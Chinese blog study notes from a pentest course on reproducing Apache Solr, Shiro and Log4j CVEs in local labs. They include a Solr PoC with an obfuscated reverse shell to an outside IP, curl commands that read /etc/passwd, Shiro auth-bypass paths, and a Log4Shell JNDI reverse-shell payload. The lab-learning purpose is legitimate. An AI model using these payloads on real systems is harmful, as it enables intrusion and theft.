第82天:服务攻防-开发组件安全&Solr搜索&Shiro身份&Log4j日志&本地CVE环境复现
本文发布于452天前,本文最后更新于452 天前,其中的信息可能已经过时,如有错误请留言或评论。

知识点

  1. J2EE-组件安全-Solr-全文搜索
  2. J2EE-组件安全-Shiro-身份验证
  3. J2EE-组件安全-Log4J-日志记录
  • Java语言常见开发组件
    • Apache Solr、Apache Shiro、Apache Struts2、Apache Flink、Flume、Dubbo、Redis、Logstash、ElasticSearch、Kafka、Ghidra、Minecraft、Apache hive、Datax、Streaming、Dolphin Scheduler、Storm、Spring、Aibaba FastJson、Jackson、Log4J、XSteam等。

➢J2EE-组件Solr-本地demo&CVE

了解

  • 主要基于HTTP和Apache Lucene实现的全文搜索服务器。
  • 历史漏洞:https://avd.aliyun.com/search?q=Solr
  • 黑盒特征:图标(有点像华为的那么一个图标)及默认端口8383

前置

  1. 启动Solr,启动后访问127.0.0.1:8983
    .\solr.cmd -e dih

命令执行(CVE-2019-17558)

远程命令执行漏洞(CVE-2019-0193)

靶场环境下载地址:https://vulhub.org/#/environments/solr/CVE-2019-0193/

利用条件

  • Apache Solr < 8.2.0版本
  • 条件1:Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)
  • 条件2:Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)
    • 开启后访问上面这个页面需要登录

测试

  • 选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration
  • exec中即为要执行的命令,注意要看环境,Windows搭建的肯定执行不了Linux 的命令,Linux搭建的肯定也执行不了Windows命令
  • 我和小迪一样,用的小迪发的靶场,Windows开了靶场之后,不知道怎么回事抽风,连calc都执行不了
 <dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
 </dataConfig>

Apache Solr 文件读取&SSRF (CVE-2021-27905)

  • 全版本官方拒绝修复漏洞
  • 利用:
    1. 获取数据库名
      http://192.168.159.128:32164/solr/admin/cores?indexInfo=false&wt=json

      若这里返回如下,则无法复现,若正确返回,则可以获取到数据库名称

      { "responseHeader":{ "status":0, "QTime":0}, "initFailures":{}, "status":{}}
    2. 访问触发,将demo处替换为第一步获取到的数据库名称
      curl -i -s -k -X $'POST' \
      -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
      $'http://47.94.236.117:8983/solr/demo/config'
    3. 任意文件读取,将demo处替换为第一步获取到的数据库名称
      curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

➢J2EE-组件Shiro-本地demo&CVE

了解

面试问题:shiro有key无链,利用项目中有的或者java常规自带的链进行构造,无回显只能带外

小迪的那个靶场现在的那个工具更新了,直接一键扫就行了。

CVE_2016_4437 Shiro-550+Shiro-721

  • 影响范围:Apache Shiro <= 1.2.4
  • 工具箱利用项目直接梭哈

身份认证绕过漏洞

CVE-2020-11989

  • 在进行验证的路径(即要鉴权的路径)后面添加/%20即可绕过验证
  • Poc:/admin/%20
  • 影响范围:Apache Shiro < 1.7.1

CVE-2020-1957

  • 在进行验证的路径(即要鉴权的路径)前面添加/xxx/..;/即可绕过验证
  • Poc:/xxx/..;/admin/
  • 影响范围:Apache Shiro < 1.5.3

CVE-2022-32532

  • Poc: /permit/any
  • /permit/a%0any可绕过
  • 需要依赖代码具体写法,无法自动化,风险较低。
  • 影响范围:Apache Shiro < 1.9.1

➢J2EE-组件Log4j-本地demo&CVE

了解

  • Apache的一个开源项目,是一个基于Java的日志记录框架。
  • 历史漏洞:https://avd.aliyun.com/search?q=Log4j
  • 黑盒特征:一般都是盲打
  • 会问蓝队攻击特征(${jndi:rmi:///osutj8})

Log4j2远程命令执行(CVE-2021-44228)

  • 漏洞影响的产品版本包括:Apache Log4j2 2.0 - 2.15.0-rc1
  • 利用条件:
    • 首先是版本符号
    • 其次是写法,若对方为logger.error则存在漏洞,若为logger.info则不存在
    • 最后是logger.error(变量),这个变量为我们可控制的,若写死,也不行
  • 利用:
    1. 生成反弹Shell的JNDI注入
      java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4wLjEwMi83NzQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.159.128
    2. 构造JNDI注入Payload提交
      ${jndi:rmi://192.168.159.128:1099/inisdd} %24%7Bjndi%3Armi%3A%2F%2F192.168.159.128%3A1099%2Finisdd%7D
  • 实战中通常会将payload随便插,凡是有变量参数的地方都插入payload,通常是用命令访问dnslog

参考

学习内容均来自小迪安全系列课程:http://xiaodi8.com/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇